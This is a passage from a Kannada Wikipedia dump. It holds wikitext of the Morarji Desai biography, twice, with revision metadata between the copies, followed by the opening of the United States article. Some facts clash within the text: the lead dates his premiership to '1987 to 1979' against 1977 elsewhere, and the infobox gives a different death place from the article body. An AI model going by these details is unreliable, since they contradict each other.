ಗೋಧ್ರಾದ ಜಿಲ್ಲಾಧಿಕಾರಿಯಾಗಿ ದೇಸಾಯಿ ರಾಜೀನಾಮೆ ನೀಡಿದರು.<ref name="ET-2013-06-10">{{cite web | url=http://economictimes.indiatimes.com/news/politics-and-nation/can-narendra-modi-follow-in-morarji-desais-footsteps/articleshow/20517337.cms | title=Can Narendra Modi follow in Morarji Desai's footsteps? | publisher=The Economic Times | date=10 Jun 2013<!--, 11.07AM IST--> | accessdate= | author=Ajay Umat & Harit Mehta}}</ref> ದೇಸಾಯಿ ನಂತರ [https://m.timesofindia.com/topic/mahatma-gandhi ಮಹಾತ್ಮಾ ಗಾಂಧಿಯವರ] ಸ್ವಾತಂತ್ರ್ಯ ಹೋರಾಟದಲ್ಲಿ ಸೇರಿದರು ಮತ್ತು ಭಾರತದಲ್ಲಿ ಬ್ರಿಟಿಷ್ ಆಳ್ವಿಕೆಯ ವಿರುದ್ಧ ನಾಗರಿಕ ಅಸಹಕಾರ ಚಳವಳಿಯಲ್ಲಿ ಸೇರಿಕೊಂಡರು. ಸ್ವಾತಂತ್ರ್ಯ ಹೋರಾಟದ ಸಂದರ್ಭದಲ್ಲಿ ಅವರು ಅನೇಕ ವರ್ಷಗಳ ಕಾಲ ಜೈಲಿನಲ್ಲಿದ್ದರು ಮತ್ತು ಅವರ ಚೂಪಾದ ನಾಯಕತ್ವದ ಕೌಶಲ್ಯ ಮತ್ತು ಕಠಿಣ ಚೈತನ್ಯದಿಂದಾಗಿ ಅವರು ಸ್ವಾತಂತ್ರ್ಯ ಹೋರಾಟಗಾರರ ನಡುವೆ ನೆಚ್ಚಿನವರಾಗಿದ್ದರು ಮತ್ತು ಗುಜರಾತ್ ಪ್ರದೇಶದಲ್ಲಿ ಭಾರತೀಯ ರಾಷ್ಟ್ರೀಯ ಕಾಂಗ್ರೆಸ್ನ ಪ್ರಮುಖ ನಾಯಕರಾಗಿದ್ದರು. ೧೯೩೪ ಮತ್ತು ೧೯೩೭ ರಲ್ಲಿ ಪ್ರಾಂತೀಯ ಚುನಾವಣೆಗಳು ನಡೆದಾಗ, ದೇಸಾಯಿ ಅವರು ಮುಂಬಯಿ ಪ್ರೆಸಿಡೆನ್ಸಿಯ ಕಂದಾಯ ಸಚಿವ ಮತ್ತು ಗೃಹ ಸಚಿವರಾಗಿ ಆಯ್ಕೆಯಾದರು. ==ಭಾರತದ ಪ್ರಧಾನಿ (೧೯೭೭-೭೯)== ತುರ್ತು ಪರಿಸ್ಥಿತಿಯನ್ನು ಎತ್ತಿಹಿಡಿಯಲು ಇಂದಿರಾ ಗಾಂಧಿಯವರು ನಿರ್ಧರಿಸಿದ ನಂತರ ಸಾಮಾನ್ಯ ಚುನಾವಣೆ ನಡೆಯಿತು. ಜನತಾ ಪಾರ್ಟಿ ಚುನಾವಣೆಯಲ್ಲಿ ಜಯ ಸಾಧಿಸಿತು ಮತ್ತು ಮೊರಾರ್ಜಿ ದೇಸಾಯಿ ಪ್ರಧಾನಿಯಾದರು. ದೇಸಾಯಿ ನೆರೆಹೊರೆಯ ಮತ್ತು ವಿರೋಧಿ ಪಾಕಿಸ್ತಾನದೊಂದಿಗೆ ಸಂಬಂಧವನ್ನು ಸುಧಾರಿಸಲು ಕೆಲಸ ಮಾಡಿದರು. ೧೯೬೨ ರ ಯುದ್ಧದ ನಂತರ ಮೊದಲ ಬಾರಿಗೆ ಚೀನಾದೊಂದಿಗಿನ ಸಾಮಾನ್ಯ ಸಂಬಂಧಗಳನ್ನು ಮರುಸ್ಥಾಪಿಸಿತು. ಅವರು ಜಿಯಾ-ಉಲ್-ಹಕ್ ಅವರೊಂದಿಗೆ ಸಂವಹನ ನಡೆಸಿದರು ಮತ್ತು ಸೌಹಾರ್ದ ಸಂಬಂಧಗಳನ್ನು ಸ್ಥಾಪಿಸಿದರು. ಚೀನಾದೊಂದಿಗೆ ರಾಜತಾಂತ್ರಿಕ ಸಂಬಂಧಗಳನ್ನು ಪುನಃ ಸ್ಥಾಪಿಸಲಾಯಿತು. ಅವರ ಸರ್ಕಾರ ತುರ್ತು ಪರಿಸ್ಥಿತಿಯಲ್ಲಿ ಸಂವಿಧಾನಕ್ಕೆ ತಿದ್ದುಪಡಿ ಮಾಡಿತು. ===ಸಾವು=== ಮೊರಾರ್ಜಿ ದೇಸಾಯಿ ಅವರು ೧೯೮೦ ರ ಸಾರ್ವತ್ರಿಕ ಚುನಾವಣೆಯಲ್ಲಿ ಹಿರಿಯ ರಾಜಕಾರಣಿಯಾಗಿ ಜನತಾ ಪಕ್ಷಕ್ಕೆ ಪ್ರಚಾರ ಮಾಡಿದರು ಆದರೆ ಚುನಾವಣೆಯಲ್ಲಿ ಸ್ವತಃ ಸ್ಪರ್ಧಿಸಲಿಲ್ಲ. ನಿವೃತ್ತಿಯಲ್ಲಿ ಅವರು [[ಮುಂಬೈ]]ಯಲ್ಲಿ ವಾಸಿಸುತ್ತಿದ್ದರು ಮತ್ತು ೧೯೯೫ ರಲ್ಲಿ ೯೯ ನೇ ವಯಸ್ಸಿನಲ್ಲಿ ನಿಧನರಾದರು. ಅವರ ಕೊನೆಯ ವರ್ಷಗಳಲ್ಲಿ ಅವರ ಪೀಳಿಗೆಯ ಸ್ವಾತಂತ್ರ್ಯ ಹೋರಾಟಗಾರನಾಗಿ ಅವರು ಹೆಚ್ಚು ಗೌರವವನ್ನು ಹೊಂದಿದ್ದರು. ಮೊರಾರ್ಜಿ ದೇಸಾಯಿ ಮಹಾತ್ಮ ಗಾಂಧಿಯವರ ತತ್ವಗಳ ಮತ್ತು ನೈತಿಕತೆಯ ಕಟ್ಟುನಿಟ್ಟಾದ ಅನುಯಾಯಿಯಾಗಿದ್ದರು. ==ಸಾಮಾಜಿಕ ಸೇವೆ== ಮೊರಾರ್ಜಿ ದೇಸಾಯಿಯವರು ಗಾಂಧಿಯ ಅನುಯಾಯಿಯಾಗಿದ್ದರು, ಸಾಮಾಜಿಕ ಕಾರ್ಯಕರ್ತರು, ಸಂಸ್ಥಾಪಕ ಬಿಲ್ಡರ್ ಮತ್ತು ಉತ್ತಮ ಸುಧಾರಕರಾಗಿದ್ದರು. ಅವರು ಗುಜರಾತ್ ವಿದ್ಯಾಪೀಠದ ಚಾನ್ಸಲರ್ ಆಗಿದ್ದರು. ಪ್ರಧಾನ ಮಂತ್ರಿಯಾಗಿದ್ದ ತಮ್ಮ ಅವಧಿಯಲ್ಲಿ ಅವರು ಅಕ್ಟೋಬರ್ ತಿಂಗಳಲ್ಲಿ ವಿದ್ಯಾಪೀಠಕ್ಕೆ ಭೇಟಿ ನೀಡುತ್ತಿದ್ದರು. ==ವೈಯಕ್ತಿಕ ಜೀವನ ಮತ್ತು ಕುಟುಂಬ== ಮೊರಾರ್ಜಿ ದೇಸಾಯಿ ಅವರು ೧೫ ನೇ ವಯಸ್ಸಿನಲ್ಲಿ ೧೯೧೧ ರಲ್ಲಿ ಗುಜ್ರಬೆನ್ರನ್ನು ಮದುವೆಯಾದರು.<ref>{{cite book|last1=Dubey|first1=Scharada|title=Movers and Shakers Prime Minister of India|date=2009|publisher=Westland|page=Morarji Desai Section Page 1|url=https://books.google.com/books?id=2dgqNH6uKUsC&pg=PT39&lpg=PT39&dq=morarji+desai+Gujraben&source=bl&ots=FonxfjdxAA&sig=-Rb9PHIiSHzRBZcZkzfmyPuniQo&hl=en&sa=X&ei=NJv8U9PmJorJuATE84HgBg&ved=0CEUQ6AEwBg#v=onepage&q=morarji%20desai%20Gujraben&f=false|accessdate=|archive-date=2016-04-29|archive-url=https://web.archive.org/web/20160429133044/https://books.google.com/books?id=2dgqNH6uKUsC&pg=PT39&lpg=PT39&dq=morarji+desai+Gujraben&source=bl&ots=FonxfjdxAA&sig=-Rb9PHIiSHzRBZcZkzfmyPuniQo&hl=en&sa=X&ei=NJv8U9PmJorJuATE84HgBg&ved=0CEUQ6AEwBg#v=onepage&q=morarji%20desai%20Gujraben&f=false|url-status=dead}}</ref> ಅವರ ಮಗ ಕಾಂತಿ ದೇಸಾಯಿ ಮತ್ತು ಜಗದೀಪ್ ದೇಸಾಯಿ ಮತ್ತು ಭಾರತ್ ದೇಸಾಯಿ ಮೊಮ್ಮಕ್ಕಳು. ಮಧುಕೇಶ್ವರ್ ದೇಸಾಯಿ, ಅವರ ಶ್ರೇಷ್ಠ-ಮೊಮ್ಮಗ ಜಗದೀಪ್ ದೇಸಾಯಿಯವರ ಮಗ<ref>{{cite news | url=http://www.dnaindia.com/india/report_morarji-s-3g-scion-to-enter-politics_1370053 | title=Morarji's 3G scion to enter politics | work=(DNA) | date=11 April 2010 | agency=DNA| author=Khanna, Summit | location=Ahmedabad}}</ref> ಪ್ರಸ್ತುತ ಬಿಜೆಪಿಯ ಯುವ ವಿಭಾಗವಾದ ಭಾರತೀಯ ಜನತಾ ಯುವಮೋರ್ಚಾದ ರಾಷ್ಟ್ರೀಯ ಉಪಾಧ್ಯಕ್ಷರಾಗಿದ್ದಾರೆ. ಭಾರತ್ ದೇಸಾಯಿಯ ಮಗ ವಿಶಾಲ್ ದೇಸಾಯಿ ಅವರು ಬರಹಗಾರ ಮತ್ತು ಚಲನಚಿತ್ರ ನಿರ್ಮಾಪಕರಾಗಿದ್ದಾರೆ ==ಉಲ್ಲೇಖಗಳು== <references/> {{ಭಾರತದ ಪ್ರಧಾನಮಂತ್ರಿಗಳು}} [[ವರ್ಗ:ಭಾರತದ ಪ್ರಧಾನ ಮಂತ್ರಿಗಳು]] [[ವರ್ಗ:ಭಾರತ ರತ್ನ ಪುರಸ್ಕೃತರು]] 13lrukp4iyqsol74xfdiq8jwc0eq5b5 1116580 1116579 2022-08-24T07:16:54Z Akshitha achar 75927 wikitext text/x-wiki {{Infobox Officeholder |name = ಮೊರಾರ್ಜಿ ದೇಸಾಯಿ |image = Morarji Desai (portrait).png |office = [[ಭಾರತದ ಪ್ರಧಾನ ಮಂತ್ರಿಗಳ ಪಟ್ಟಿ|4ನೇ]] [[ಭಾರತದ ಪ್ರಧಾನ ಮಂತ್ರಿ]] |president = [[ಬಿ.ಡಿ.ಜತ್ತಿ|ಬಸಪ್ಪ ದಾನಪ್ಪ ಜತ್ತಿ]] <small>(Acting)</small><br/>[[ನೀಲಂ ಸಂಜೀವ ರೆಡ್ಡಿ]] |term_start = ೨೪ ಮಾರ್ಚ್ ೧೯೭೭ |term_end = ೨೮ ಜುಲೈ ೧೯೭೯ |predecessor = [[ಇಂದಿರಾ ಗಾಂಧಿ]] |successor = [[ಚರಣ್‌ಸಿಂಗ್]] |office2 = [[ಗೃಹ ಮಂತ್ರಿ (ಭಾರತ)|ಗೃಹ ಮಂತ್ರಿ]] |term_start2 = ೧ ಜುಲೈ ೧೯೭೮ |term_end2 = ೨೮ ಜುಲೈ ೧೯೭೯ |predecessor2 = [[ಚರಣ್‌ಸಿಂಗ್]] |successor2 = ಯಶವಂತರಾವ್ ಚವಾಣ್ |office4 = [[ಭಾರತದ ಉಪ ಪ್ರಧಾನ ಮಂತ್ರಿಗಳು]] |primeminister4 = [[ಇಂದಿರಾ ಗಾಂಧಿ]] |term_start4 = ೧೩ ಮಾರ್ಚ್ ೧೯೬೭ |term_end4 = ೧೬ ಜುಲೈ ೧೯೬೯ |predecessor4 = [[ಸರ್ದಾರ್ ವಲ್ಲಭಭಾಯ್ ಪಟೇಲ್]] |successor4 = [[ಚರಣ್‌ಸಿಂಗ್]]<br/>ಜಗಜೀವನ್ ರಾಮ್ |office5 = [[ವಿತ್ತ ಸಚಿವ (ಭಾರತ)|ವಿತ್ತ ಸಚಿವ]] |primeminister5 = [[ಇಂದಿರಾ ಗಾಂಧಿ]] |term_start5 = ೧೩ ಮಾರ್ಚ್ ೧೯೬೭ |term_end5 = ೧೬ ಜುಲೈ ೧೯೬೯ |predecessor5 = ಚಿಂದ್ರ ಚೌಧುರಿ |successor5 = [[ಇಂದಿರಾ ಗಾಂಧಿ]] |primeminister6 = [[ಜವಾಹರಲಾಲ್ ನೆಹರು]] |term_start6 = ೧೩ ಮಾರ್ಛ್ ೧೯೫೮ |term_end6 = ೨೯ ಆಗಸ್ಟ್ ೧೯೬೩ |predecessor6 = [[ಜವಾಹರಲಾಲ್ ನೆಹರು]] |successor6 = ಟಿ. ಟಿ. ಕ್ರಿಷ್ಣಮಾಚಾರಿ |birth_date = {{birth date|1896|2|29|df=y}} |birth_place = ಭಾಡೇಲಿ, ಪ್ರೆಸಿಡೆನ್ಸಿ, ಬ್ರಿಟಿಷ್ ಭಾರತ |death_date = {{death date and age|1995|4|10|1896|2|29|df=y}} |death_place = [[ನವ ದೆಹಲಿ]], [[ದೆಹಲಿ]], [[ಭಾರತ]] |party = [[ಜನತಾ ದಳ]] <small>(೧೯೮೮–೧೯೯೫)</small> |otherparty = [[ಭಾರತೀಯ ರಾಷ್ಟ್ರೀಯ ಕಾಂಗ್ರೆಸ್]] <small>(೧೯೬೯ರ ಮುಂಚೆ)</small><br/>ಭಾರತೀಯ ರಾಷ್ಟ್ರೀಯ ಕಾಂಗ್ರೆಸ್-ಸಂಘ <small>(೧೯೬೯–೧೯೭೭)</small><br/>ಜನತಾ ಪಾರ್ಟಿ <small>(೧೯೭೭–೧೯೮೮)</small> |alma_mater = ವಿಲ್ಸನ್ ಕಾಲೇಜು |profession = ಸರ್ಕಾರಿ ನೌಕರ<br/>ಕಾರ್ಯಕರ್ತ |religion = }} [[ಚಿತ್ರ:Desai1937.jpg|thumb|right|ಮೊರಾರ್ಜಿ ದೇಸಾಯಿ]] '''ಮೊರಾರ್ಜಿ ದೇಸಾಯಿ''' ಮೊರಾರ್ಜಿ (೨೯ ಫೆಬ್ರವರಿ ೧೮೯೬ - ೧೦ ಏಪ್ರಿಲ್ ೧೯೯೫) ಒಬ್ಬ ಭಾರತೀಯ ಸ್ವಾತಂತ್ರ್ಯ ಹೋರಾಟಗಾರರಾಗಿದ್ದರು ಮತ್ತು ೧೯೮೭ ರಿಂದ ೧೯೭೯ ರವರೆಗೆ ಭಾರತದಲ್ಲಿ ೪ ನೇ ಪ್ರಧಾನಿಯಾಗಿ(ಜನತಾ ಪಾರ್ಟಿ) ಸರ್ಕಾರಕ್ಕೆ ಸೇವೆ ಸಲ್ಲಿಸಿದರು. ಅವರ ಸುದೀರ್ಘ ವೃತ್ತಿಜೀವನದ ಅವಧಿಯಲ್ಲಿ, ಅವರು ಹಲವಾರು ಪ್ರಮುಖ ಹುದ್ದೆಗಳನ್ನು ಸರ್ಕಾರದಲ್ಲಿ ಹೊಂದಿದ್ದರು: ಮುಂಬಯಿ ರಾಜ್ಯದ ಮುಖ್ಯಮಂತ್ರಿ, ಗೃಹ ಸಚಿವ, ಹಣಕಾಸು ಸಚಿವ ಮತ್ತು ಭಾರತದ ಉಪ ಪ್ರಧಾನ ಮಂತ್ರಿ. ಅಂತರರಾಷ್ಟ್ರೀಯ ಸನ್ನಿವೇಶದಲ್ಲಿ, ದೇಸಾಯಿ ತಮ್ಮ ಶಾಂತಿ ಕ್ರಿಯಾವಾದಕ್ಕಾಗಿ ಅಂತಾರಾಷ್ಟ್ರೀಯ ಖ್ಯಾತಿಯನ್ನು ಪಡೆದಿದ್ದಾರೆ ಮತ್ತು ಎರಡು ಪ್ರತಿಸ್ಪರ್ಧಿ ದಕ್ಷಿಣ ಏಷ್ಯಾದ ರಾಜ್ಯಗಳು, ಪಾಕಿಸ್ತಾನ ಮತ್ತು [[ಭಾರತ]] ನಡುವೆ ಶಾಂತಿ ಆರಂಭಿಸಲು ಪ್ರಯತ್ನಗಳನ್ನು ಮಾಡಿದ್ದಾರೆ. ೧೯೭೪ ರಲ್ಲಿ ಭಾರತದ ಮೊದಲ ಪರಮಾಣು ಸ್ಫೋಟವಾದ ನಂತರ, ದೇಸಾಯಿ ಚೀನಾ ಮತ್ತು ಪಾಕಿಸ್ತಾನದೊಂದಿಗೆ ಸ್ನೇಹ ಸಂಬಂಧವನ್ನು ಪುನಃಸ್ಥಾಪಿಸಲು ಸಹಾಯ ಮಾಡಿದರು ಮತ್ತು ೧೯೭೧ ರ ಇಂಡೋ-ಪಾಕಿಸ್ತಾನಿ ಯುದ್ಧದಂತಹ ಸಶಸ್ತ್ರ ಸಂಘರ್ಷವನ್ನು ತಪ್ಪಿಸಲು ಪ್ರತಿಜ್ಞೆ ಮಾಡಿದರು. ==ಆರಂಭಿಕ ಜೀವನ== ಮೊರಾರ್ಜಿ ದೇಸಾಯಿ ಅವರು ೧೮೯೬ ರ ಫೆಬ್ರುವರಿ ೨೯ ರಂದು ಮುಂಬಯಿ ಪ್ರೆಸಿಡೆನ್ಸಿ (ಈಗ ಗುಜರಾತ್ನಲ್ಲಿ) ನ ಬಲ್ಸೇರಿ ಜಿಲ್ಲೆಯ ಭಾಡೆಲಿ ಗ್ರಾಮದಲ್ಲಿ ಜನಿಸಿದರು. ಎಂಟು ಮಕ್ಕಳು ಅತ್ಯಂತ ಹಿರಿಯರು. ಅವರ ತಂದೆ ಶಾಲೆಯ ಶಿಕ್ಷಕರಾಗಿದ್ದರು.<ref>[http://www.independent.co.uk/news/people/obituary-morarji-desai-1615165.html Obituary: Morarji Desai] by Kuldip Singh</ref> ದೇಸಾಯಿ ಸೌರಾಷ್ಟ್ರದಲ್ಲಿರುವ ಕುಂಡ್ಲಾ ಶಾಲೆಯಲ್ಲಿ ತನ್ನ ಪ್ರಾಥಮಿಕ ಶಾಲಾ ಶಿಕ್ಷಣಕ್ಕೆ ಒಳಗಾದರು, ಸಾವರ್ಕುಂಡ್ಲಾ ಈಗ ಜೆ.ವಿ. ಮೋದಿ ಶಾಲೆ ಎಂದು ಕರೆಯುತ್ತಾರೆ ಮತ್ತು ನಂತರ ಬಲ್ ಅವಾ ಬಾಯ್ ಹೈಸ್ಕೂಲ್, ವಲ್ಸಾದ್ ಸೇರಿದರು. ಮುಂಬೈಯ ವಿಲ್ಸನ್ ಕಾಲೇಜ್ನಿಂದ ಪದವೀಧರರಾದ ನಂತರ, ಅವರು [https://encyclopedia2.thefreedictionary.com/Gujarath ಗುಜರಾತ್ನಲ್ಲಿ] ನಾಗರಿಕ ಸೇವೆಗೆ ಸೇರಿದರು. ಅಲ್ಲಿ ೧೯೨೭-೨೮ರ ಗಲಭೆಗಳ ಸಮಯದಲ್ಲಿ ಹಿಂದುಗಳ ಮೇಲೆ ಮೃದುವಾಗಿ ಹೋಗುವ ಅಪರಾಧವೆಂದು ಪರಿಗಣಿಸಲ್ಪಟ್ಟು ಮೇ ೧೯೩೦ ರಲ್ಲಿ ಗೋಧ್ರಾದ ಜಿಲ್ಲಾಧಿಕಾರಿಯಾಗಿ ದೇಸಾಯಿ ರಾಜೀನಾಮೆ ನೀಡಿದರು.<ref name="ET-2013-06-10">{{cite web | url=http://economictimes.indiatimes.com/news/politics-and-nation/can-narendra-modi-follow-in-morarji-desais-footsteps/articleshow/20517337.cms | title=Can Narendra Modi follow in Morarji Desai's footsteps? | publisher=The Economic Times | date=10 Jun 2013<!--, 11.07AM IST--> | accessdate= | author=Ajay Umat & Harit Mehta}}</ref> ದೇಸಾಯಿ ನಂತರ [https://m.timesofindia.com/topic/mahatma-gandhi ಮಹಾತ್ಮಾ ಗಾಂಧಿಯವರ] ಸ್ವಾತಂತ್ರ್ಯ ಹೋರಾಟದಲ್ಲಿ ಸೇರಿದರು ಮತ್ತು ಭಾರತದಲ್ಲಿ ಬ್ರಿಟಿಷ್ ಆಳ್ವಿಕೆಯ ವಿರುದ್ಧ ನಾಗರಿಕ ಅಸಹಕಾರ ಚಳವಳಿಯಲ್ಲಿ ಸೇರಿಕೊಂಡರು. ಸ್ವಾತಂತ್ರ್ಯ ಹೋರಾಟದ ಸಂದರ್ಭದಲ್ಲಿ ಅವರು ಅನೇಕ ವರ್ಷಗಳ ಕಾಲ ಜೈಲಿನಲ್ಲಿದ್ದರು ಮತ್ತು ಅವರ ಚೂಪಾದ ನಾಯಕತ್ವದ ಕೌಶಲ್ಯ ಮತ್ತು ಕಠಿಣ ಚೈತನ್ಯದಿಂದಾಗಿ ಅವರು ಸ್ವಾತಂತ್ರ್ಯ ಹೋರಾಟಗಾರರ ನಡುವೆ ನೆಚ್ಚಿನವರಾಗಿದ್ದರು ಮತ್ತು ಗುಜರಾತ್ ಪ್ರದೇಶದಲ್ಲಿ ಭಾರತೀಯ ರಾಷ್ಟ್ರೀಯ ಕಾಂಗ್ರೆಸ್ನ ಪ್ರಮುಖ ನಾಯಕರಾಗಿದ್ದರು. ೧೯೩೪ ಮತ್ತು ೧೯೩೭ ರಲ್ಲಿ ಪ್ರಾಂತೀಯ ಚುನಾವಣೆಗಳು ನಡೆದಾಗ, ದೇಸಾಯಿ ಅವರು ಮುಂಬಯಿ ಪ್ರೆಸಿಡೆನ್ಸಿಯ ಕಂದಾಯ ಸಚಿವ ಮತ್ತು ಗೃಹ ಸಚಿವರಾಗಿ ಆಯ್ಕೆಯಾದರು. ==ಭಾರತದ ಪ್ರಧಾನಿ (೧೯೭೭-೭೯)== ತುರ್ತು ಪರಿಸ್ಥಿತಿಯನ್ನು ಎತ್ತಿಹಿಡಿಯಲು ಇಂದಿರಾ ಗಾಂಧಿಯವರು ನಿರ್ಧರಿಸಿದ ನಂತರ ಸಾಮಾನ್ಯ ಚುನಾವಣೆ ನಡೆಯಿತು. ಜನತಾ ಪಾರ್ಟಿ ಚುನಾವಣೆಯಲ್ಲಿ ಜಯ ಸಾಧಿಸಿತು ಮತ್ತು ಮೊರಾರ್ಜಿ ದೇಸಾಯಿ ಪ್ರಧಾನಿಯಾದರು. ದೇಸಾಯಿ ನೆರೆಹೊರೆಯ ಮತ್ತು ವಿರೋಧಿ ಪಾಕಿಸ್ತಾನದೊಂದಿಗೆ ಸಂಬಂಧವನ್ನು ಸುಧಾರಿಸಲು ಕೆಲಸ ಮಾಡಿದರು. ೧೯೬೨ ರ ಯುದ್ಧದ ನಂತರ ಮೊದಲ ಬಾರಿಗೆ ಚೀನಾದೊಂದಿಗಿನ ಸಾಮಾನ್ಯ ಸಂಬಂಧಗಳನ್ನು ಮರುಸ್ಥಾಪಿಸಿತು. ಅವರು ಜಿಯಾ-ಉಲ್-ಹಕ್ ಅವರೊಂದಿಗೆ ಸಂವಹನ ನಡೆಸಿದರು ಮತ್ತು ಸೌಹಾರ್ದ ಸಂಬಂಧಗಳನ್ನು ಸ್ಥಾಪಿಸಿದರು. ಚೀನಾದೊಂದಿಗೆ ರಾಜತಾಂತ್ರಿಕ ಸಂಬಂಧಗಳನ್ನು ಪುನಃ ಸ್ಥಾಪಿಸಲಾಯಿತು. ಅವರ ಸರ್ಕಾರ ತುರ್ತು ಪರಿಸ್ಥಿತಿಯಲ್ಲಿ ಸಂವಿಧಾನಕ್ಕೆ ತಿದ್ದುಪಡಿ ಮಾಡಿತು. ===ಸಾವು=== ಮೊರಾರ್ಜಿ ದೇಸಾಯಿ ಅವರು ೧೯೮೦ ರ ಸಾರ್ವತ್ರಿಕ ಚುನಾವಣೆಯಲ್ಲಿ ಹಿರಿಯ ರಾಜಕಾರಣಿಯಾಗಿ ಜನತಾ ಪಕ್ಷಕ್ಕೆ ಪ್ರಚಾರ ಮಾಡಿದರು ಆದರೆ ಚುನಾವಣೆಯಲ್ಲಿ ಸ್ವತಃ ಸ್ಪರ್ಧಿಸಲಿಲ್ಲ. ನಿವೃತ್ತಿಯಲ್ಲಿ ಅವರು [[ಮುಂಬೈ]]ಯಲ್ಲಿ ವಾಸಿಸುತ್ತಿದ್ದರು ಮತ್ತು ೧೯೯೫ ರಲ್ಲಿ ೯೯ ನೇ ವಯಸ್ಸಿನಲ್ಲಿ ನಿಧನರಾದರು. ಅವರ ಕೊನೆಯ ವರ್ಷಗಳಲ್ಲಿ ಅವರ ಪೀಳಿಗೆಯ ಸ್ವಾತಂತ್ರ್ಯ ಹೋರಾಟಗಾರನಾಗಿ ಅವರು ಹೆಚ್ಚು ಗೌರವವನ್ನು ಹೊಂದಿದ್ದರು. ಮೊರಾರ್ಜಿ ದೇಸಾಯಿ ಮಹಾತ್ಮ ಗಾಂಧಿಯವರ ತತ್ವಗಳ ಮತ್ತು ನೈತಿಕತೆಯ ಕಟ್ಟುನಿಟ್ಟಾದ ಅನುಯಾಯಿಯಾಗಿದ್ದರು. ==ಸಾಮಾಜಿಕ ಸೇವೆ== ಮೊರಾರ್ಜಿ ದೇಸಾಯಿಯವರು ಗಾಂಧಿಯ ಅನುಯಾಯಿಯಾಗಿದ್ದರು, ಸಾಮಾಜಿಕ ಕಾರ್ಯಕರ್ತರು, ಸಂಸ್ಥಾಪಕ ಬಿಲ್ಡರ್ ಮತ್ತು ಉತ್ತಮ ಸುಧಾರಕರಾಗಿದ್ದರು. ಅವರು ಗುಜರಾತ್ ವಿದ್ಯಾಪೀಠದ ಚಾನ್ಸಲರ್ ಆಗಿದ್ದರು. ಪ್ರಧಾನ ಮಂತ್ರಿಯಾಗಿದ್ದ ತಮ್ಮ ಅವಧಿಯಲ್ಲಿ ಅವರು ಅಕ್ಟೋಬರ್ ತಿಂಗಳಲ್ಲಿ ವಿದ್ಯಾಪೀಠಕ್ಕೆ ಭೇಟಿ ನೀಡುತ್ತಿದ್ದರು. ==ವೈಯಕ್ತಿಕ ಜೀವನ ಮತ್ತು ಕುಟುಂಬ== ಮೊರಾರ್ಜಿ ದೇಸಾಯಿ ಅವರು ೧೫ ನೇ ವಯಸ್ಸಿನಲ್ಲಿ ೧೯೧೧ ರಲ್ಲಿ ಗುಜ್ರಬೆನ್ರನ್ನು ಮದುವೆಯಾದರು.<ref>{{cite book|last1=Dubey|first1=Scharada|title=Movers and Shakers Prime Minister of India|date=2009|publisher=Westland|page=Morarji Desai Section Page 1|url=https://books.google.com/books?id=2dgqNH6uKUsC&pg=PT39&lpg=PT39&dq=morarji+desai+Gujraben&source=bl&ots=FonxfjdxAA&sig=-Rb9PHIiSHzRBZcZkzfmyPuniQo&hl=en&sa=X&ei=NJv8U9PmJorJuATE84HgBg&ved=0CEUQ6AEwBg#v=onepage&q=morarji%20desai%20Gujraben&f=false|accessdate=|archive-date=2016-04-29|archive-url=https://web.archive.org/web/20160429133044/https://books.google.com/books?id=2dgqNH6uKUsC&pg=PT39&lpg=PT39&dq=morarji+desai+Gujraben&source=bl&ots=FonxfjdxAA&sig=-Rb9PHIiSHzRBZcZkzfmyPuniQo&hl=en&sa=X&ei=NJv8U9PmJorJuATE84HgBg&ved=0CEUQ6AEwBg#v=onepage&q=morarji%20desai%20Gujraben&f=false|url-status=dead}}</ref> ಅವರ ಮಗ ಕಾಂತಿ ದೇಸಾಯಿ ಮತ್ತು ಜಗದೀಪ್ ದೇಸಾಯಿ ಮತ್ತು ಭಾರತ್ ದೇಸಾಯಿ ಮೊಮ್ಮಕ್ಕಳು. ಮಧುಕೇಶ್ವರ್ ದೇಸಾಯಿ, ಅವರ ಶ್ರೇಷ್ಠ-ಮೊಮ್ಮಗ ಜಗದೀಪ್ ದೇಸಾಯಿಯವರ ಮಗ<ref>{{cite news | url=http://www.dnaindia.com/india/report_morarji-s-3g-scion-to-enter-politics_1370053 | title=Morarji's 3G scion to enter politics | work=(DNA) | date=11 April 2010 | agency=DNA| author=Khanna, Summit | location=Ahmedabad}}</ref> ಪ್ರಸ್ತುತ ಬಿಜೆಪಿಯ ಯುವ ವಿಭಾಗವಾದ ಭಾರತೀಯ ಜನತಾ ಯುವಮೋರ್ಚಾದ ರಾಷ್ಟ್ರೀಯ ಉಪಾಧ್ಯಕ್ಷರಾಗಿದ್ದಾರೆ. ಭಾರತ್ ದೇಸಾಯಿಯ ಮಗ ವಿಶಾಲ್ ದೇಸಾಯಿ ಅವರು ಬರಹಗಾರ ಮತ್ತು ಚಲನಚಿತ್ರ ನಿರ್ಮಾಪಕರಾಗಿದ್ದಾರೆ ==ಉಲ್ಲೇಖಗಳು== <references/> {{ಭಾರತದ ಪ್ರಧಾನಮಂತ್ರಿಗಳು}} [[ವರ್ಗ:ಭಾರತದ ಪ್ರಧಾನ ಮಂತ್ರಿಗಳು]] [[ವರ್ಗ:ಭಾರತ ರತ್ನ ಪುರಸ್ಕೃತರು]] gyod29aduhft10gviqsi9j3sk6ghaio ಅಮೇರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ 0 6056 1116554 1115753 2022-08-24T03:12:43Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{ದ್ವಂದ್ವ|ಈ ಲೇಖನ '''ಅಮೇರಿಕ''' [[ದೇಶ]]ದ ಬಗ್ಗೆ.|ಇದೇ ಹೆಸರಿನಲ್ಲಿ [[ಉತ್ತರ ಅಮೇರಿಕ]] ಮತ್ತು [[ದಕ್ಷಿಣ ಅಮೇರಿಕ]] ಎಂಬ [[ಖಂಡ]]ಗಳೂ ಇವೆ.}} {{Infobox Country |native_name = United States of America <br /> ''ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ ಆಫ್ ಅಮೇರಿಕ'' |conventional_long_name=ಅಮೇರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ |common_name= ಅಮೇರಿಕ ದೇಶ |image_flag=Flag of the United States.svg |image_coat=US-GreatSeal-Obverse.svg |length=1776–Present |symbol_type=ಚಿಹ್ನೆ |national_motto=<!--Please read the talk page before editing these mottoes:-->''ಈ ಪ್ಲುರಿಬಸ್ ಯುನಮ್'' (ಸಾಂಪ್ರದಾಯಿಕ)<br />''ಇನ್ ಗಾಡ್ ವಿ ಟ್ರಸ್ಟ್'' (ಅಧಿಕೃತ, ೧೯೫೬ರಿಂದ ಇಂದಿನವರೆಗೆ) |image_map=United States (orthographic projection).svg |map_width=220px 